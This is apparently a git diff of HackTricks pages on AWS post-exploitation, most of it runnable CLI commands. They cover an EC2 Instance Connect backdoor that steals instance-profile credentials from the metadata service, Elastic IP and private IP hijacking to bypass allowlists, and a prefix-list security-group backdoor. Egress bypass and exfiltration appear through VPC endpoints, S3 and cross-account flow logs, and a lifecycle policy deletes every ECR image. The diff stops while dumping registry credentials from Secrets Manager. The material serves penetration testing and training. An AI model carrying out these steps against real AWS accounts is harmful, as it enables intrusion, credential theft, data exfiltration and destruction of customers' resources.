--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
|
||||
--region "$REGION" \
|
||||
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
|
||||
|
||||
# Wait until ready
|
||||
while true; do
|
||||
aws ec2 describe-instance-connect-endpoints \
|
||||
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
|
||||
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
|
||||
grep -q 'create-complete' EIC_STATE && break
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
|
||||
## Allow traffic from EIC Endpoint to target instance
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
|
||||
## Inject ephemeral SSH key and open tunnel
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
|
||||
# Send short-lived SSH pubkey (valid ~60s)
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "$OS_USER" \
|
||||
--ssh-public-key file:///tmp/eic.pub \
|
||||
--region "$REGION"
|
||||
|
||||
# Open a local tunnel to instance:22 via the EIC Endpoint
|
||||
aws ec2-instance-connect open-tunnel \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" \
|
||||
--local-port 2222 --remote-port 22 --region "$REGION" &
|
||||
TUN_PID=$!; sleep 2
|
||||
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
|
||||
## Post-exploitation proof (steal instance profile credentials)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
|
||||
Example output (truncated):
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
"AccessKeyId": "ASIA...",
|
||||
"SecretAccessKey": "w0G...",
|
||||
"Token": "IQoJ...",
|
||||
"Expiration": "2025-10-08T04:09:52Z"
|
||||
}
|
||||
```
|
||||
|
||||
Use the stolen creds locally to verify identity:
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
export AWS_SESSION_TOKEN=<Token>
|
||||
aws sts get-caller-identity --region "$REGION"
|
||||
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
|
||||
```
|
||||
|
||||
## Cleanup
|
||||
```bash
|
||||
# Revoke SG ingress on the target
|
||||
aws ec2 revoke-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
|
||||
# Delete EIC Endpoint
|
||||
aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
|
||||
> Notes
|
||||
> - The injected SSH key is only valid for ~60 seconds; send the key right before opening the tunnel/SSH.
|
||||
> - `OS_USER` must match the AMI (e.g., `ubuntu` for Ubuntu, `ec2-user` for Amazon Linux 2).
|
||||
@@ -0,0 +1,64 @@
|
||||
# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
|
||||
Abuse `ec2:AssociateAddress` (and optionally `ec2:DisassociateAddress`) to re-associate an Elastic IP (EIP) from a victim instance/ENI to an attacker instance/ENI. This redirects inbound traffic destined to the EIP to the attacker and also lets the attacker originate outbound traffic with the allowlisted public IP to bypass external partner firewalls.
|
||||
|
||||
## Prerequisites
|
||||
- Target EIP allocation ID in the same account/VPC.
|
||||
- Attacker instance/ENI you control.
|
||||
- Permissions:
|
||||
- `ec2:DescribeAddresses`
|
||||
- `ec2:AssociateAddress` on the EIP allocation-id and on the attacker instance/ENI
|
||||
- `ec2:DisassociateAddress` (optional). Note: `--allow-reassociation` will auto-disassociate from the prior attachment.
|
||||
|
||||
## Attack
|
||||
|
||||
Variables
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ATTACKER_INSTANCE=<i-attacker>
|
||||
VICTIM_INSTANCE=<i-victim>
|
||||
```
|
||||
|
||||
1) Allocate or identify the victim’s EIP (lab allocates a fresh one and attaches to victim)
|
||||
|
||||
```bash
|
||||
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
|
||||
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
|
||||
```
|
||||
|
||||
2) Verify the EIP currently resolves to the victim service (example checks for a banner)
|
||||
|
||||
```bash
|
||||
curl -sS http://$EIP | grep -i victim
|
||||
```
|
||||
|
||||
3) Re-associate the EIP to the attacker (auto-disassociates from victim)
|
||||
|
||||
```bash
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
|
||||
```
|
||||
|
||||
4) Verify the EIP now resolves to the attacker service
|
||||
|
||||
```bash
|
||||
sleep 5; curl -sS http://$EIP | grep -i attacker
|
||||
```
|
||||
|
||||
Evidence (moved association):
|
||||
|
||||
```bash
|
||||
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
|
||||
--query Addresses[0].AssociationId --output text
|
||||
```
|
||||
|
||||
## Impact
|
||||
- Inbound impersonation: All traffic to the hijacked EIP is delivered to the attacker instance/ENI.
|
||||
- Outbound impersonation: Attacker can initiate traffic that appears to originate from the allowlisted public IP (useful to bypass partner/external source IP filters).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,57 @@
|
||||
# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` to steal a victim ENI’s secondary private IP and move it to an attacker ENI in the same subnet/AZ. Many internal services and security groups gate access by specific private IPs. By moving that secondary address, the attacker impersonates the trusted host at L3 and can reach allowlisted services.
|
||||
|
||||
Prereqs:
|
||||
- Permissions: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
|
||||
- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
|
||||
|
||||
Variables:
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Steps:
|
||||
1) Pick a secondary IP from the victim ENI
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
|
||||
2) Ensure the protected host allows only that IP (idempotent). If using SG-to-SG rules instead, skip.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
|
||||
3) Baseline: from attacker instance, request to PROTECTED_HOST should fail without spoofed source (e.g., over SSM/SSH)
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
|
||||
4) Unassign the secondary IP from the victim ENI
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
|
||||
5) Assign the same IP to the attacker ENI (on AWS CLI v1 add `--allow-reassignment`)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
|
||||
6) Verify ownership moved
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
|
||||
7) From the attacker instance, source-bind to the hijacked IP to reach the protected host (ensure the IP is configured on the OS; if not, add it with `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
|
||||
## Impact
|
||||
- Bypass IP allowlists and impersonate trusted hosts within the VPC by moving secondary private IPs between ENIs in the same subnet/AZ.
|
||||
- Reach internal services that gate access by specific source IPs, enabling lateral movement and data access.
|
||||
@@ -0,0 +1,82 @@
|
||||
# AWS - Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
Abuse customer-managed Prefix Lists to create a stealthy access path. If a security group (SG) rule references a managed Prefix List, anyone with the ability to modify that list can silently add attacker-controlled CIDRs. Every SG (and potentially Network ACL or VPC endpoint) that references the list immediately allows the new ranges without any visible SG change.
|
||||
|
||||
## Impact
|
||||
- Instant expansion of allowed IP ranges for all SGs referencing the prefix list, bypassing change controls that only monitor SG edits.
|
||||
- Enables persistent ingress/egress backdoors: keep the malicious CIDR hidden in the prefix list while the SG rule appears unchanged.
|
||||
|
||||
## Requirements
|
||||
- IAM permissions:
|
||||
- `ec2:DescribeManagedPrefixLists`
|
||||
- `ec2:GetManagedPrefixListEntries`
|
||||
- `ec2:ModifyManagedPrefixList`
|
||||
- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (to identify attached SGs)
|
||||
- Optional: `ec2:CreateManagedPrefixList` if creating a new one for testing.
|
||||
- Environment: At least one SG rule referencing the target customer-managed Prefix List.
|
||||
|
||||
## Variables
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
PREFIX_LIST_ID=<pl-xxxxxxxx>
|
||||
ENTRY_CIDR=<attacker-cidr/32>
|
||||
DESCRIPTION="Backdoor – allow attacker"
|
||||
```
|
||||
|
||||
## Attack Steps
|
||||
|
||||
1) **Enumerate candidate prefix lists and consumers**
|
||||
|
||||
```bash
|
||||
aws ec2 describe-managed-prefix-lists \
|
||||
--region "$REGION" \
|
||||
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
|
||||
--output table
|
||||
|
||||
aws ec2 get-managed-prefix-list-entries \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--region "$REGION" \
|
||||
--query 'Entries[*].[Cidr,Description]'
|
||||
```
|
||||
|
||||
Use `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` to confirm which SG rules rely on the list.
|
||||
|
||||
2) **Add attacker CIDR to the prefix list**
|
||||
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
|
||||
--region "$REGION"
|
||||
```
|
||||
|
||||
3) **Validate propagation to security groups**
|
||||
|
||||
```bash
|
||||
aws ec2 describe-security-group-rules \
|
||||
--region "$REGION" \
|
||||
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
|
||||
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
|
||||
--output table
|
||||
```
|
||||
|
||||
Traffic from `$ENTRY_CIDR` is now allowed wherever the prefix list is referenced (commonly outbound rules on egress proxies or inbound rules on shared services).
|
||||
|
||||
## Evidence
|
||||
- `get-managed-prefix-list-entries` reflects the attacker CIDR and description.
|
||||
- `describe-security-group-rules` still shows the original SG rule referencing the prefix list (no SG modification recorded), yet traffic from the new CIDR succeeds.
|
||||
|
||||
## Cleanup
|
||||
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--remove-entries Cidr="$ENTRY_CIDR" \
|
||||
--region "$REGION"
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,76 @@
|
||||
# AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
|
||||
This technique abuses VPC Endpoints to create exfiltration channels from subnets without Internet Gateways or NAT. Gateway endpoints (e.g., S3) add prefix‑list routes into the subnet route tables; Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) create reachable ENIs with private IPs protected by security groups. With minimal VPC/EC2 permissions, an attacker can enable controlled egress that doesn’t traverse the public Internet.
|
||||
|
||||
> Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.
|
||||
|
||||
## Option A – S3 Gateway VPC Endpoint
|
||||
|
||||
**Variables**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `RTB_IDS=<comma-separated route table IDs of private subnets>`
|
||||
|
||||
1) Create a permissive endpoint policy file (optional). Save as `allow-put-get-any-s3.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
|
||||
}
|
||||
```
|
||||
|
||||
2) Create the S3 Gateway endpoint (adds S3 prefix‑list route to the selected route tables):
|
||||
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.s3 \
|
||||
--vpc-endpoint-type Gateway \
|
||||
--route-table-ids $RTB_IDS \
|
||||
--policy-document file://allow-put-get-any-s3.json # optional
|
||||
```
|
||||
|
||||
Evidence to capture:
|
||||
- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` shows a route to the AWS S3 prefix list (e.g., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
|
||||
- From an instance in those subnets (with IAM perms) you can exfil via S3 without Internet:
|
||||
|
||||
```bash
|
||||
# On the isolated instance (e.g., via SSM):
|
||||
echo data > /tmp/x.txt
|
||||
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
|
||||
```
|
||||
|
||||
## Option B – Interface VPC Endpoint for API Gateway (execute-api)
|
||||
|
||||
**Variables**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `SUBNET_IDS=<comma-separated private subnets>`
|
||||
- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
|
||||
|
||||
1) Create the interface endpoint and attach the SG:
|
||||
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.execute-api \
|
||||
--vpc-endpoint-type Interface \
|
||||
--subnet-ids $SUBNET_IDS \
|
||||
--security-group-ids $SG_VPCE \
|
||||
--private-dns-enabled
|
||||
```
|
||||
|
||||
Evidence to capture:
|
||||
- `aws ec2 describe-vpc-endpoints` shows the endpoint in `available` state with `NetworkInterfaceIds` (ENIs in your subnets).
|
||||
- Instances in those subnets can reach Private API Gateway endpoints through those VPCE ENIs (no Internet path required).
|
||||
|
||||
## Impact
|
||||
- Bypasses perimeter egress controls by leveraging AWS‑managed private paths to AWS services.
|
||||
- Enables data exfiltration from isolated subnets (e.g., writing to S3; calling Private API Gateway; reaching Secrets Manager/SSM/STS, etc.) without IGW/NAT.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,84 @@
|
||||
# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
Abuse `ec2:CreateFlowLogs` to export VPC, subnet, or ENI flow logs directly to an attacker-controlled S3 bucket. Once the delivery role is configured to write to the external bucket, every connection seen on the monitored resource is streamed out of the victim account.
|
||||
|
||||
## Requirements
|
||||
- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created).
|
||||
- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`.
|
||||
- Optional: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here).
|
||||
|
||||
## Attack Walkthrough
|
||||
|
||||
1) **Attacker** prepares an S3 bucket policy (in attacker account) that allows the VPC Flow Logs delivery service to write objects. Replace placeholders before applying:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVPCFlowLogsDelivery",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "delivery.logs.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
|
||||
"Condition": {
|
||||
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Apply from the attacker account:
|
||||
|
||||
```bash
|
||||
aws s3api put-bucket-policy \
|
||||
--bucket <attacker-bucket> \
|
||||
--policy file://flowlogs-policy.json
|
||||
```
|
||||
|
||||
2) **Victim** (compromised principal) creates the flow logs targeting the attacker bucket:
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
VPC_ID=<vpc-xxxxxxxx>
|
||||
ROLE_ARN=<delivery-role-with-logs-permissions> # Must allow delivery.logs.amazonaws.com to assume it
|
||||
aws ec2 create-flow-logs \
|
||||
--resource-type VPC \
|
||||
--resource-ids "$VPC_ID" \
|
||||
--traffic-type ALL \
|
||||
--log-destination-type s3 \
|
||||
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
|
||||
--deliver-logs-permission-arn "$ROLE_ARN" \
|
||||
--region "$REGION"
|
||||
```
|
||||
|
||||
Within minutes, flow log files appear in the attacker bucket containing connections for all ENIs in the monitored VPC/subnet.
|
||||
|
||||
## Evidence
|
||||
|
||||
Sample flow log records written to the attacker bucket:
|
||||
|
||||
```text
|
||||
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
|
||||
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
|
||||
```
|
||||
|
||||
Bucket listing proof:
|
||||
|
||||
```bash
|
||||
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
|
||||
```
|
||||
|
||||
## Impact
|
||||
- Continuous network metadata exfiltration (source/destination IPs, ports, protocols) for the monitored VPC/subnet/ENI.
|
||||
- Enables traffic analysis, identification of sensitive services, and potential hunting for security group misconfigurations from outside the victim account.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,101 +0,0 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
|
||||
After downloading the images you should **check them for sensitive info**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
|
||||
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,220 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
|
||||
After downloading the images you should **check them for sensitive info**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
|
||||
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
If ECR Pull‑Through Cache is configured for authenticated upstream registries (Docker Hub, GHCR, ACR, etc.), the upstream credentials are stored in AWS Secrets Manager with a predictable name prefix: `ecr-pullthroughcache/`. Operators sometimes grant ECR admins broad Secrets Manager read access, enabling credential exfiltration and reuse outside AWS.
|
||||
|
||||
Requirements
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Enumerate candidate PTC secrets
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
|
||||
Dump discovered secrets and parse common fields
|
||||
```bash
|
